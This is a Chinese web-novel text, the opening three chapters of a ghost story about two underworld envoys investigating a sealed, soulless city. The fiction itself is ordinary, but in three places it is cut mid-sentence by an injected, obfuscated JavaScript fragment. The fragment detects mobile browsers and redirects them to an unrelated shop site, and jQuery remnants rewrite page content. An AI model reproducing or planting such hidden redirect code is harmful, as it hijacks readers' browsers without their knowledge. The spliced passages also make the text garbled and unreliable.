《路边的男鬼不要捡》 1. 天衣无缝(一) “荒唐!我当了五百年阎王,还是第一回遇见这种事!” 坐在案前的男人激愤之下卷起手中的书册,重重敲在桌上,震得旁边侍从左右的牛头马面不由一低头。 两位鬼差互相使使眼色,最终还是牛头维持着低眉顺眼的模样,大着胆子道:“地上的那位皇帝已经修书到地府,请您尽快解决江州之事。” “他们人间乱,我们地府就不乱吗?用不着他催!”中年男人气得直捋长须。与大多凡人想象中不同,这位阎王爷面貌并不凶神恶煞,倒文气得像是个秀才。他重新摊开书册,左手还忿忿难平地捻着胡子,“赶紧去点几个鬼差,查清楚江州城究竟怎么回事。” 主管鬼差的马面连忙点头哈腰:“阎王爷,咱们这几年本来人手就比常年少,现在因为江州那怪情况,生死簿生出了许多错乱,地府里已经忙成一团,实在难匀出多余的人手。剩下几个鬼差也都是只有武力没有心眼的莽夫,斗斗鬼还成,要去探查这么重要的事况,恐怕难以胜任呀。” “没人?你的意思是让我亲自去?”阎王瞪眼。 牛头眼睛一亮,“好办法呀!阎王爷您亲自出马,这事定然解决得妥妥当当。” “我去了,这阎王爷的位子你来坐,地府这一堆事你来解决?”阎王气极反笑,挥了挥手,“别废话了,把无常的名册取来。” 马面恍然大悟:“跟阴间的鬼差比,各位无常确实更为见多识广,能力也不弱,实乃妥帖的人选。只是诸位无常平时都要在辖区内拘魂役鬼,总不能抛下原来的工作不顾。莫非是抽调几位无常去江州,再挑选新的无常补上他们的空缺?” 阎王翻着牛头恭敬呈上的名册,沉吟片刻,指头点在了其中一页,“不必这么麻烦,遣这两位无常去便可。” “若到三月十六还未解决……”他语调一沉。 “自成为无常以来,还真是极少见到如此干净的地方。” 通往江州城的大路上,一黑一白两个人影缓缓移动。时值白日,照理正是车马人流如织的时候,大道上却不见其余路人。而唯二的行人似乎也不能以“人”来衡量。 发出方才感叹的正是其中身着黑衣的青年。他的语气出乎意料的从容,仿佛不是在徒步赶路,而是端坐在高楼金阁上饮茶听琴——这种语气一度被他的同僚评价为“拿腔作调”。而披在他身上的那件黑布斗篷,样式朴素得跟麻袋没什么两样,居然还能被他穿出几分飘若游云的典雅。 要不是他白发绿眸的外貌又太过奇异,手里还拖着一条铮铮作响的铁链,这位名讳“天衣无缝”的黑无常或许会被旁人误认作一位高门富户出来的公子少爷——虽说普通人一般也看不见他就是了。 他方才所说的“干净”似乎并不单指这条过于荒凉的大路。天衣无缝的话似乎还未讲完,他接着以那种漫不经心的语调道:“这路上倒也空旷。听说江州城分外繁华,不曾想眼下竟连一个行人也无,看来此番异状对人世影响颇大……也不知地府如今乱成什么样子了。” 一路行来,他都像在自言自语,身边的同伴却一声不吭,仿佛懒得搭理他。天衣无缝显然习以为常,依然自顾自说着:“不过不论凡人,连土地神都畏惧异状,只把我们送到城外,还劳我们走了如此长一段路。但如今一看,这江州城还真是干净得过分,莫说鬼魅,普通的游魂也瞧不见……啊,这样想来,这一趟生死簿上岂非记不了多少拘魂的业绩,不过对于我们两个倒是正合心意。” 谁料这位黑无常一身气度优雅雍容如画,唯独口舌闲不下来,让人怀疑他生前莫非是个哑巴,才要找机会把没说的话尽数补上。好在他现在的搭档倒不介意这点话痨,任由他说东说西,只都当作耳旁风罢了。 天衣无缝正独自款款而谈时,他和另一位无常已经停在了路的尽头。青天下江州城的城墙巍峨矗立,看不出有什么异样,只是红漆黄铜的城门不合时宜地关着。 天衣无缝的话头总算顿了顿。他一双翠绿眼睛望着紧闭的大门,像是透过门在看城内所谓“干净”的景象,然后伸手抚上城门。宽大袖子下露出的手指苍白细瘦,不似活人。 “门是关着的,看来至少是日暮时分发生异状的。”他又说,“小白,你可知此地为何会是入夜才发生异样的么?” “为什么?”另一位无常总算应声了,简短得跟她的同僚形成鲜明的对比。语气也没什么波动,像是对答案也不怎么感兴趣。 “因为‘江州’音似‘降昼’,白昼已降,就是入夜了。” “……” 一阵沉默后,天衣无缝转头叹了口气:“这个玩笑好歹是我绞尽脑汁想出来的,小白你也勿要一直默不作声呀。” 白无常原本正盯着关闭的城门,闻言看向天衣无缝,很给面子地微笑了一下,只不过笑得实在称不上真心:“这个笑话太牵强,下次继续努力。” 评价完同伴的冷笑话水准,披着白布斗篷的少女回头继续观察城门,脸上纸糊般的笑容也随之褪去。 “就像是进去了就出不来。”她淡淡地说。 她的身形比旁边的黑无常矮了一截,手握挂着白布条的引魂幡,只看容貌大约十六七岁。散下的黑发和兜帽的阴影半掩着眉目,但她的眼神实在让人难以忽视——哪怕刚刚假笑时,这双眼睛依然平静得几近冰冷,或者说连冰冷都算不上,因为其中没有蕴含任何有指向的感情。仿佛她不过是某样无生命的器物,而被所她注视的也是无所分别的器物。 比起她的同僚,这位无情无义的白无常更像是来自阴曹地府的使者。 “嗯……有可能,毕竟也不知晓这里究竟状况如何。”天衣无缝点了点头,视紧闭的高大城门如无物,悠然穿了过去,“没想到竟然选了我们来查江州城的事。说来我以前也来过此地,当真是软红十丈、如花似锦的一座城邑。当时恰好也是三月份,城内有一处重瓣桃花开得极美,不知如今——” 他漫无边际的念叨忽然止住了。 正如他口中所言,江州城不愧是大奉以南有名的富庶之地,两侧屋宇连绵,街道上皆是来往的行人,乍看仍然是一幅热闹景象,只不过这种热闹陷入了诡异的停滞,如同一位画师要描摹江州的盛景,于是一切忽然就停止在某刻,凝固成一卷不可更改的画幅——所有人,或者说所有活物,全都像泥偶一样栩栩如生、一动不动;甚至有人抬起一只脚还未踏下去,就这样静静地立在原地。 这些人显然算不上活人,然而若说是死尸,他们的皮肤仍然泛着健康的血色,体温也没有丧失,呈现出非生非死的古怪状态。 但惊动黑无常的不是这番怪异的境况,而是因为被他唤作“小白”的同僚正随手用引魂幡敲了敲一个人,那人僵直的身体随之一软,一头就要栽倒在地。 天衣无缝看着举止从容不迫,动作却快如疾风,眨眼间揽住了那个倒下的人。“失礼了。”他客气地说,轻轻把他放在旁边店铺的长凳上。 “这些人的身体里没有魂魄。不是魂飞魄散,像是魂魄被凭空抽走了。”小白对自己随意的举动并无表示,只是收回手阐述得到的结论。 “这不是我职能所擅,辛苦你察看了。”天衣无缝步履轻巧,径直穿过一具具成了空壳的身体,“勾人魂魄啊,听上去倒跟我们无常有些相似。不过这些人晾在外边没事么?就算到时候魂魄能找回来,肉身受损了也颇为麻烦吧。不说下雨,怕是一阵风就能吹翻这一街的人。” “没那么简单,整座城像是被‘封印’了。若说万物有灵,那么江州这座城的‘魂灵’就像被镇住了,如今此地既非阴间,也非阳间。”小白转而用手推了推一个路人,那人纹丝不动,“至于这些被封住的人,寻常风雨对他们应该并无影响。” 她一副公事公办的口吻,但话里行间留了模糊的余地。毕竟这种情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273328|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况前所未见,她也只能凭白无常的能力感知个大概。 天衣无缝若有所思:“一城的魂魄啊……生死之事便是魂魄在阴间和阳间来往,难怪说这里是无死无生之境——” 他的话再次突兀地打住了,接替的是一阵凌厉的破风声!原本拖在他手中的铁链当空挥下,重重抽在从屋脊上扑下来的一团红影上。 “没想到这里还有可以动的东西。”黑无常话锋一转,语气依然不急不躁。那条铁链足有三指粗,看着分量沉重,他挥舞起来却如振落叶,“刚来就要开工了么。” 从半空被打落的东西翻滚一圈,竟然还能站在地上,赫然是一个面目狰狞的红衣女鬼,一双畸形到不能称之为手的爪子缓缓张开。 “是厉鬼。说不定也是因为城内的异状发疯的。”小白伸手捋开引魂幡的布条。即使以她当无常的这么长时间,也极少见到主动袭击无常的恶鬼。 “厉鬼都已丧了神智,也无所谓发不发疯。”天衣无缝信手一抖铁链,链环碰撞发出令人牙颤的响动,“这鬼恶孽很重,要押去地府么?” “不要麻烦,杀了吧。”小白无情地判断。 铁链余响未绝,女鬼猛然前扑,方向却中途诡异一折,骨爪抓向一旁身量娇小的白无常。小白如一页薄纸往后飘去,手中白幡随之扬起,遮住了她的身影;而幡布迎风招摇之间忽然越来越长,看似轻软的布条转瞬绞上了女鬼的脖子。 尽管民间常常将黑白无常并列,但一如地府里书写生死命数的判官有着文判官与武判官之分,黑白两位无常的职责也存在些许差异。白无常执生死簿,察鬼魂之事,虽不如黑无常更擅缉杀恶鬼,但也不是什么文弱之辈。至少对于这只厉鬼而言,眼前的白无常绝非交战中的“破绽”。 几乎与此同时,女鬼那张五官都已朽烂的脸突然从中心裂开——铁链从后脑贯穿了她的头颅!但它竟然还能动作,骨爪反过来一把扯断自己的脖颈,将已经半碎的脑袋掷了出去。 透着腐臭气味的汁液飞溅,天衣无缝下意识地要侧身闪避,忽然又想起旁边满是凡人……的躯壳,只能脚步一转,挥动铁链远远抽飞那个恶心的脑袋。不料那头张嘴就咬住了铁链,沿着链条快速滑来。 “男女授受不亲,莫要再靠近了。”天衣无缝温柔地废话一句,将铁链往空地上一甩,终于彻底砸烂了厉鬼的头。 就在他这短暂的纠缠间,女鬼剩下的身体四肢扑地,似乎明白自己惹上的是难以对付的角色,发力往后一窜。白色幡布如影随形跟来,女鬼却已经吸取了经验,不可思议地敏捷躲过,极速消失在附近的小巷中。 女鬼断头逃生的举动太过利落,黑白无常都有些愕然,旋即追了上去。 巷道曲折逼仄,大概平常少有人经过,倒也免得有人被这场追逐殃及。两位无常默契地拐过一个弯,分明近得清晰可感的厉鬼气息却蓦地消散了。 方才还张牙舞爪的恶鬼已经不见,摊在地上的只有它身上那件破损的红衣。这些游荡人间的鬼魅被再次杀死后不会留下尸体,只会变成一堆骨灰样的齑粉。彻底从阴阳两界消失。眼下那些青灰从红衣上随风缓缓飘起,在晴日照耀下微微闪光,四处散逸。 在如雾气般蒸腾的灰烬后,站着一位身披黑斗篷的年轻人,一缕穿堂风正拂动他垂在额前的浅色发丝。他见到忽然闪出的两位无常,似乎也有些惊讶,但很快反应过来,双眸弯弯露出了一个笑容。 他的容颜和笑貌给人以一种轻盈而目眩的感觉,像是水流上漂浮的泡沫,流光溢彩,近乎虚幻;似乎就连白衣少女那双漆黑的眼睛,映着这个笑容,都如同片羽落在潭中,隐约折出了一丝波动。 但这种神秘的印象只持续了仿佛错觉的一瞬,下一瞬这个不知名的年轻人就率先出声,笑眯眯地朝两人打招呼,看起来颇为通达人情世故: “呀,是同事——不,前同事呢。” 2. 天衣无缝(二) “你是?” 天衣无缝巧妙地往前踱了一步,把武力稍弱的同伴护在身后。他的声调仍然端着,碧绿的眸子却透着逼视的意味,隐隐有几分像蛇——这种动物蜿蜒游行时姿态优雅,咬杀对手时却极为凶锐。 刚刚的女鬼虽然说不上是最凶最恶的那类厉鬼,但敢主动袭击无常,又能在第一回交手中成功逃脱,也不是那么容易能对付的,却被面前的年轻人独自斩杀。况且两位无常追它又追得极紧,不过隔了一个转角的距离,因此那只女鬼是几乎是与年轻人一打照面,就在极短的时间内被杀死,所以出现在无常们眼前的才只剩下尸灰。 “正如二位一样,吾辈也是无常啊。”年轻人并不在意来者的警惕,友好地挥挥手,“不过确切地说应当是前任无常吧,因为吾辈已经完成了九千九百九十九的业绩,准备要回地府述职了——唉,虽说现在也回不去就是了。” 提到“业绩”,天衣无缝下意识地瞥了一眼身边的白无常,对方则无所谓地拉了拉兜帽的帽檐。 尽管民间通常只知范无救谢必安两位无常的名讳,但无常的数量实际上并不少,被地府划定的每片区域都会有一对黑白无常驻守。而无常的工作也并非无限期的,所谓业绩,是指每位无常都要拘满九千九百九十九个魂魄,方能入轮回重新投胎。 “无常”听上去是个了不得的身份,实际上却不是什么好差事,整日整夜都要追着那些奇形怪状的鬼魂,不仅全年无休,而且无聊得很,平常不能随意在人前现身,能够说说话的也就跟自己搭档的无常。因而所有无常的理想都是尽快完成业绩重入轮回,转世时判官还会看在为地府当过差的份上,判个荣华富贵的命数以作犒赏。 大约唯二的例外之一就是这位“小白”。与她搭档的黑无常已经功德圆满换过了好几任,唯有她记在生死簿上的魂魄数目还少得离奇。至于另一个例外,便是天衣无缝了。这两人先后都是主动向地府申请调到一个荒僻的辖区,这才做了现在的搭档,一同过了近百年仿佛养老的日子。 “‘回不去了’是什么意思?”天衣无缝很快收回目光,顺着话问道。 前任黑无常原先笑眯眯的眼睛缓缓睁开。他长相柔美,瞳色却是赤色,和地上阴燃的厉鬼尸衣呈现出同一种绮丽的红。他仰头望向小巷上方狭窄的天空,轻轻感慨道:“回不了地府,而且甚至连这座江州城都出不去,就像这座城被封印了……二位也是因为城中的异状才来的吧?” 方才兜帽的阴影投在他的半张脸上,此刻被光一照,始终沉默观察他的小白才看清,他那浅色的头发并非与天衣无缝相似的银白,而是鹭鸟一样更加柔软的灰色。 “你的赋名是什么?”她突然开口,声音清寒而生硬,像是两片薄瓷碰撞。 凡是被地府召为无常者,都不再使用生前的姓名,而由阎王赐予名讳——所谓讳,便是死后之名。这似乎并无什么特别的寓意,大概算一种身份的证明,又或许只是出于阎王本人的爱好。据说现任阎王生前是个落榜秀才,现在坐镇地府依然喜欢舞文弄墨,因而随兴给予的赋名都是四字的成语。 “哎呀,确实,都忘记彼此介绍了。”年轻人恍然大悟地拍了拍手,不过他手中还攥着黑无常所执的铁链,拍掌时只发出铁链的索索声,“不知二位如何称呼呢?” “天衣无缝。”白发青年微微俯身算作行礼,尽管阴间不讲究这种礼节,但他还是秉持了这个习惯。他并没有指摘对方不答反问的态度,不知是不想在细节上纠缠,还是出于某种高傲的宽容。 “盛情难却。”身为白无常的少女跟着报出名称,露出一个恰合时宜的笑容,唯有漠然的眼神与她的名讳相去甚远。她眼眸中刚刚映出的一抹流光,就仿佛不过是镜面的反光,而非她的神色有所动容。 “都是很好的名讳呢,不过以阎王爷的品味也不会取出难听的吧。”年轻人认真听罢,歪头莞尔一笑,“吾辈名讳为……春生秋杀。” 春生秋杀……万物春季生长,秋季衰亡,是天地自然的规律,然而这四个字却似乎还蕴含着生命转瞬凋零的肃杀。这是个寓意略带不祥的成语,但阎王赋名向来想到什么用什么,再说无常本就是勾魂的阴使,配这个含有死意的成语倒是正好。 “难得与旁的同僚相遇,真想坐下来闲谈一番,可惜此时此境不是悠闲的时候。”天衣无缝虽然这么说,但他自己分明是悠闲的模样,“话说回来,怎么不见此地的白无常?” 春生秋杀笑吟吟的神情忽然敛去了。他的眼角微微下垂,笑起来的时候很是温柔可爱,与人间寻常的青年并无两样,不笑的时候才显露出一点无常阴森的样子。但很快他又露出了苦笑:“就在江州城发生异状的前一日,她失踪了。待吾辈发觉的时候,已经被困于城中。二位既然今日才来,可曾听闻有一位白无常回了地府,或是去了别处?” 天衣无缝摇摇头,“我们奉地府之令前来探查的时候,只听说江州城变成了无生无死的异状,原先驻守此地的两位无常都失去了音信。” “那么果然是失踪了,还是自己躲起来了呢……虽说无常是不死之身,但城中状况如此古怪,吾辈还是有些担心啊。”春生秋杀苦恼地叹气。 无常作为游走于阴阳两界的鬼差,除非遭受极其强大的秘术,并无通常意义上的“死亡”,也算是地府赐予这份辛劳工作的特权,以免无常们拘鬼不成反而不幸殉职。 “哎,闲话就不多说啦。吾辈在城里还有些地方想去看看,二位,后会有期。”春生秋杀侧过身摆了摆手道别,忽然又浅浅笑了一下,“吾辈已经一五一十自报家门,之后若突然邂逅,可莫要失手误伤同僚呀。” “怎么会。”天衣无缝还是直直盯着他,说话则很客气,“况且我也不喜欢动武。” “你不跟我们一起么?”盛情难却提起嘴角,算作一点邀请的意思,问道。 “江州城连山傍水,占地广大,或许分开行动效率更高些。”春生秋杀朝少女爽朗地一笑,“不过若是吾辈遇到什么麻烦,一定会来求助二位同僚的,到时候可不要弃吾辈于不顾呀。” “小白,我们也走吧。” 披黑斗篷的年轻人离开后,天衣无缝轻轻拍了拍盛情难却的肩膀,却见她直愣愣地站着,“……怎么了?” “没事。”盛情难却拉下兜帽往前走去,传来她冷静的声音,“刚才我试了试,确实回不了地府了。” “小白你还真是一语成谶。”天衣无缝想起城门口的对话,也不紧不慢地迈步,嘴里的闲话却没有停,“说到地府,前些日子我去地府述职的时候,听闻判官笔好像丢了一支。” “有什么关系,反正那些判官又不差一支笔。”盛情难却道,听不出是否在意,“是那个文判官丢的么?他向来粗心。” 所谓判官笔,本身无非只是一杆普通的笔,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273329|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经判官一用,上面便附了能修改生死阴阳的玄术,也相当于一件相当了不得的法器。 “不过据说丢的是笔架上备用的笔,估计也没——”天衣无缝话未说完,前面的盛情难却猛然停了下来,迅速转过身。她一贯几乎只有假模假样表情的脸竟微微变色,令天衣无缝的神色也为之一变。 “我的生死簿不见了。”她低声说。 “什么时候不见的?”天衣无缝那种镇定自若的神态也有些动摇。 盛情难却摇头示意不知道。在来江州城之前,他们驻守的地方在荒僻的山村,活人不多,死人更少,并不用常常查看生死簿。她上次查阅生死簿时发现足足有大半年没有新的死者需要引渡魂魄,于是至今恐怕有好几个月再没翻开过簿子了。也正因为他们如此清闲,这回才被地府遣来江州。 两人默然地站了一会,天衣无缝扶着额头笑笑:“不用着急,沿着来时的路找找吧,兴许是追女鬼的时候不小心落下了。” 这建议无异于刻舟求剑,天衣无缝这番话只是想让盛情难却稍微安心些。她的表情已经恢复了平静,但心绪恐怕并不像面上那般波澜不惊。生死簿丢了可不是小事。 盛情难却点点头,“顺便也看看城里的状况。” 也许是声音不带感情的缘故,她说话往往带着一种发号施令的感觉。不过她的这位同僚脾性好,又一向是有点娇惯她的,近百年的搭档倒从未有过矛盾。 两人并肩折返时,天衣无缝似乎不想让气氛太沉闷,若无其事地打开了话匣子。 他指着路边的一个锅盔摊。那个摊主正弓身要去拿油纸,旁边架着的锅下面已经熄了火,锅里的锅盔表面已烙至金黄,泛着诱人的油光,上面还撒着白芝麻,让人光看着就仿佛闻到了扑鼻的香味。 “江州城的锅盔是有名的,之前来的时候尝过一回,当真是名不虚传。可惜现在当了无常,已经没有口腹之欲了。只是现在见到这个锅盔,还是能回想起当时的滋味。”天衣无缝一本正经地评鉴江州的风物。 “这个锅盔不能吃了。”盛情难却一开口就打破了追忆往昔的融洽氛围。某种意义上她跟天衣无缝有点像,都会偶尔说出一些思维跳脱的话来,“这座城里已经没有活气了,想必这些食物也不能正常享用了。” “会毒死人么?不过反正现在也不会有人来吃它了。”天衣无缝跟着她的思绪,单手支在颊边,露出思索的神情。 “我可以尝尝。”盛情难却不动声色地说,“我没吃过锅盔,不知道是什么味道。” “这是个笑话吧?没想到小白你也学会讲笑话了。”天衣无缝好笑地望了她一眼,却顺着她的话娓娓道:“这里的锅盔烤出来是软的,面皮外厚内薄,里面夹着的肉馅烤得都要化进面皮里……不过当时我只吃了半块,剩下半块被我妹妹抢走了。” 他一席话说得自然而然,盛情难却微微偏头,也很平淡道: “原来你有妹妹。难怪你平时说话这么多,我想定然是经常陪着人聊天。” “毕竟当初是跟家妹一起来的,触景生情,不由想到她。”天衣无缝换了副略带调侃的语气,眼睛一转,透出点正统世家公子少有的狡黠:“不过小白你的猜测可未必准确,说不定是我经常一个人,没人与我说话才学会自言自语呢。” “不会的。”盛情难却又抬手拢了拢兜帽,“经常一个人待着的,大多是像我这样的。” 3. 天衣无缝(三) 天衣无缝一怔,悠悠地笑了一下:“小白你呀……其实你这样的性子也没什么不好的。” “是么,我自觉不算太讨人喜欢。不过现在当了无常,也无所谓了。”盛情难却道,“你妹妹是什么样的人?” “她倒是比你要活泼些。有一回她不知从哪听说灯星湖——啊,是我家乡的一座湖——那边有一处极好的赏月之地,便硬拉着我要去看月亮。那时可已经过了三更,我们只能翻了院子的墙出去,在湖边坐了半宿。当晚的月亮纵然很圆很美,回去后却差点冻出病来。” 天衣无缝随口说着,实在有点难以想象他卷起袍子翻墙时会是什么模样。虽然讲的是顽劣的事迹,但他遥遥眺望天际,字里行间透着怀念之意。日光映在他如霜的雪白长发上,竟未晕染金色,像是那夜的明月仍然照耀其上。 只是对于一位无常而言,这样温柔的神情太过像阳世之人,反而显得萧瑟。 “听上去你对你妹妹很好……” 盛情难却说到一半便忽然停住。她原本要问一句那位妹妹后来景况如何,倒不是出于好奇,只是顺应气氛、觉得应该如此接话。但她刹那间察觉到天衣无缝提到兄妹间的往事时,目光空远,隐隐含着一丝不可回首的悲哀之感。 是因为百年时光已逝,物是人非;还是另有悲欢离合,最初的好时光再也不复? 盛情难却虽然懂得待人接物的常识,但她平时不喜跟人交往,有时候有意恪守人情世故,有时又根本不在乎自己的言行是否合宜。但此时她选择改了口。盛情难却将引魂幡往肩上一甩,头也不回往前走去,转而问了个听上去更不委婉的问题:“你对我也不错,莫不是想起了你妹妹?” 天衣无缝略有些惊讶地一挑眉梢,随后失笑。他了解这位同僚的脾性,知道她没有什么弦外之音,于是对这个直率得有些尖锐的问题也并不介怀回答。 他闲庭信步地赶上白无常的身影。那双磷火一般的翠绿眼瞳未免总有些瘆人,但望向盛情难却时那幽幽的绿色也柔和下来,如同碧玉莹然:“初次见面时,确实想起了舍妹,毕竟都是差不多这个年纪的女孩子。不过就算我没有妹妹,也会很喜欢你吧。再说小白你也不像我妹妹……或许我们俩还更像一点。” 他很自然地说出“喜欢”两字,没有调侃狎戏的意思,似乎是在不着痕迹地回驳之前盛情难却自述“不算太讨人喜欢”那句话。几十年的搭档情分,这么说还不至于失礼。 “况且我们一看就很合得来。”他突然停顿了一下,神色也随之一肃——每当他想到一个冷笑话,就会这样试图卖个关子,“你看我是白发黑衣,你是黑发白衣,配色正好黑白颠倒。” “……”盛情难却无言地点了点头。 “刚刚那句话也不有趣么?”天衣无缝又一次挫败。 “你要是想要我笑一下,我随时都可以笑。” “那便算了。虽然知道你笑也是装的,不过不用这么迁就我。”天衣无缝摸摸她的头,忽然生出了几分好奇心,他还从未听这位白无常提起过生前的事。“对了,小白你生前是哪里人?” “……”盛情难却又沉默不语了。 “我倒是忘了,无常大半是不记得生前之事的。”天衣无缝很快转了话头,掀起眼帘望向前面高耸的城墙,“前面就是城门,我们已经走回来了。” 盛情难却伸手触碰城门,她的手比天衣无缝还要苍白细瘦,“果然出不去。” 沉思片刻,她又补充道:“而且生死簿也没找到。” 天衣无缝仰头望天,晏然自若道:“丢了暂时也不要紧,反正城里这幅光景,应当也用不着拘魂。眼下不如先去寻觅城中异状的破解之法。” 这位黑无常好整以暇的风度也是难得,大概某一天地府塌了,他也不会表现出什么慌乱失措来。 “那么我们也先分头行动。”盛情难却发话,“毕竟时间有限。” “是说本月十六江州城就要鬼门关开了么,今日已经是初一了啊。也真是凑巧,偏偏这个时候在这里出现了诡异之状。”天衣无缝指节轻轻叩着下巴,“能快点解决也好,毕竟连阳间也受了不小的影响。” “你往西边,我往东边,日落时分回这里碰面。”盛情难却简短地指示。 天衣无缝自然没什么意见,但他眨了眨眼睛,大约话匣子里刚才还有话没有说完,在喉咙里里打着转不吐不快,于是赶在分别前把话统统倒出来:“说起来,小白你一直拖延着不愿完成业绩,是你想要一直当无常么?这究竟是为何呢?” 想必这个问题他也疑惑了许久,只是此时恰好心中一动,终于如此问道。 “之前你问我生前的事,其实我是真的记不清了。”盛情难却侧身准备离去,用余光瞥了天衣无缝一眼,答得平静而并无迟疑。她向来不说谎。“至于为什么当无常,我也只记得一个念头——” “我要杀一个人。”她无动于衷地说出这个骇人的目的,“虽然也忘了那个人是谁,但若是轮回转世的话,就会连这件事也忘记吧。” 说罢,她掉头往东走去。 “是这样么?我倒觉得或许另有缘由。” 然而背后传来天衣无缝向来从容悠然的声音,又带着一点洞若观火的精明:“小白你也知道的,死者亡故后有执念不散,与阳世尚有连结,才能被地府召为无常,来往阴阳两界引渡魂魄。然而执念必须无害于生人,否则便会堕为恶鬼。” 盛情难却回过头,斗篷阴影下漆黑的眼瞳与他对视。她并未开口,但两人对刚刚那番话的言外之意已经心照不宣。 天衣无缝轻轻摇了摇头,叹出一口气,“小白,我不是要否认你的记忆。只是我觉得……若是为了杀人而留在世间,太辛苦了。” 三月初一,江州城。 正是被俗称为“樱笋时”的初春,江州城四季的景色都美如画幅,但夏秋冬三季的景致比起一城春光来还是黯然失色。江州城毗邻更行江,这条大江横穿半个大奉,是极好的水路。无论渔舟客船还是挂帆巨舸,都终年如不息的江水一般来往渡行。江州城凭着这条水道的地利,也成了地比金银的豪富之地。城中屋宇大多红漆青瓦,不吝显示自己的张扬。待到春时,满城花木又竞相盛放,花叶豪华缭乱,美得不似人间。 只不过如今满城的盛景,却死寂得过分。早春初绽的花枝没有引来蜂蝶,也不曾有赏花的人群传来喧嚷。只有偶人似的男女老少摆着各种各样的姿势,滑稽中透着可怖。 这怪异的景象倒真是不似人间了——若是盛情难却在旁边,天衣无缝定然会把这个冷笑话讲给她。 袍袖迤逦的黑无常漫步街上,像是踏春出游的公子,飘飘然十分应景。只是他不知看到或想到了什么,微微皱着眉,露出若有所思的模样。 没有同伴在身边,他无人相与说话,于是静得只剩下风吹过枝梢树叶的簌簌声。 这种安宁却没有永无止境地持续下去。他身后忽然透来一丝凉意,仿佛飞鸟挥动羽翼时扇起的一缕微风。这丝寒意在刻意掩藏下十分微弱,但在黑无常的感知中却无所遁形。 天衣无缝停下脚步。他一手掩在袖中,一手握铁链,稍稍眯了下绿眸,悄无声息地转过身去。 盛情难却从一间屋子里掠出,抬头看看天色,昏黄的落日已经接近了远处的山脊。 江州城确实占地宽广,东面又尽是连片的屋宇。尽管她还不至于每家每户都翻箱倒柜地去搜,但调查起来还是十分麻烦。夕阳西下,她还没有依计划将以东的半座城探查完毕。 说来她连究竟要找什么都还不明确。只是半天看下来,她甚至连能动弹的东西都不曾见到过。 尽管一无所获,盛情难却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273330|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不多逗留,撤身往城门口返去。其实离约好会合的时刻还有一阵子,但大概是分别时天衣无缝絮絮叨叨地要她小心一些,令她下意识想要提早一点回去。 城门照旧紧闭着,漆面反射着晖光,红得有些刺眼。盛情难却原地站了一会,看着夕阳渐渐沉了半轮下去,终于将引魂幡往地上一杵,眼神也像夕光一样晦暗下去。 天衣无缝失约了。 她说不上焦急或者生气,只是这件事颇有些意料之外。盛情难却不再空等,即刻往西面的街道疾行而去。 街巷纵横交错。盛情难却走得十分果断,不知是她打算最终将每条路都走一遍,还是冥冥中和搭档数十年的默契指引着她——照她那惯常冷漠的个性,对这位同僚未必有多深的感情,但客观上大概还是存在着所谓的默契。 夕阳如海潮淹没整座城邑,青石板路上一件小小的物什在霞光下泛着洁白莹润的光泽。 盛情难却一挥袖,那件掉落在地的玉玦飞入她掌中,如同缺了一块的月亮,萦绕着一点非凡人所有的气息。 她收起这件偶然的失物,脚步并不放慢。可没走多远,她又缓缓停了下来。 眼前的街道看不出异样。无常作为徘徊阴阳两界的鬼差,形体也介乎虚实之间。只要不是刻意破坏,是不会影响到现世的。譬如黑无常的铁链能抽散一只恶鬼,却不会同时打碎一尊瓷瓶。 因而盛情难却也看不出这里究竟发生了怎样的死战。 她垂下眼眸,仿若沉思地看着脚前那件破损的黑布斗篷。 无常是不会死的——在这无生无死之地,连这条律令也失效了么? 孤零零一件斗篷,说不上是证物或者遗物。盛情难却确信的是,如果天衣无缝不是真正死去,他不会不来找自己。这件残损的斗篷,不过是如闪电划过心头,令她意识到是“死亡”绊住了他来赴约。 这应该也算是默契吧。她淡淡地想。 盛情难却蹲下身,伸手想抓起那件斗篷。但她指尖刚刚触上布料,斗篷霎时如尘沙一般散去了。 最后一缕夕晖照在她空空的指间,夜晚就在这一转眼来临了。空气中仍然浮动着暖意,却好像骤然间下了一场倒春寒,而这场晚霜没有降在地上,只降在她毫无波折的目光中。 这座城里还有什么人在?是谁能杀了黑无常?为什么要杀一位无常? 披着白斗篷的少女静静蹲在地上,一连串疑问接踵掠过脑海。兴许是事发太过猝不及防,她的思考不由空了一瞬,忽然不经意想到从前的一个晚上,皓月当空,天衣无缝与她闲来无事坐在屋脊上。端方好似谢庭兰玉的白发青年絮絮叨叨讲着闲话和无人反应的冷笑话。然后他略微一顿,侧过头看仿佛充耳不闻的她,轻轻地无奈地拍了一下她的脑袋。 “说来我们也当了这么久搭档,叫名讳是不是太生疏了?以后唤你小白怎样?” 